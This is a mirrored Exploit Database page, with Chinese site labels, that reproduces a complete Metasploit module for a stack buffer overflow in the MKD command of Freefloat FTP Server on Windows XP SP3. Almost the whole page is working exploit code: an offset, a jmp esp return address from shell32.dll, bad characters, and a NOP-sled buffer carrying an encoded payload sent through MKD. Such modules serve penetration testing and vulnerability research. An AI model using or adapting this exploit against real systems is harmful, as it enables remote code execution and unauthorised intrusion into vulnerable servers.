Freefloat FTP Server – ‘MKD’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： James Fitts
  日期： 2011-07-18
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17540/

• ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Freefloat FTP Server MKD Command Stack Overflow',
  			'Description'=> %q{
  						This module exploits a buffer overflow vulnerability
  						found in the MKD command in the Freefloat FTP server.
  			},
  			'Author' => [
  						'C4SS!0 G0M3S',		# Initial Discovery
  						'James Fitts'	# Metasploit Module
  					],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: $',
  			'References' =>
  				[
  					[ 'URL', 'http://www.exploit-db.com/exploits/17539/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space' => 700,
  					'BadChars' => "\x00\x0a\x0d",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP SP3', 
  						{ 
  							'Ret' => 0x7cb97475, # jmp esp from shell32.dll
  							'Offset' => 247
  						} 
  					],
  				],
  			'DisclosureDate' => 'Jul 17 2011',
  			'DefaultTarget'	=> 0))
  	end
  
  	def exploit
  		connect_login
  
  		print_status("Trying target #{target.name}...")
  
  		buf = make_nops(target['Offset']) + [target.ret].pack('V')
  		buf << make_nops(20)
  		buf << payload.encoded
  
  		send_cmd( ['MKD', buf] , false )
  
  		handler
  		disconnect
  	end
  
  end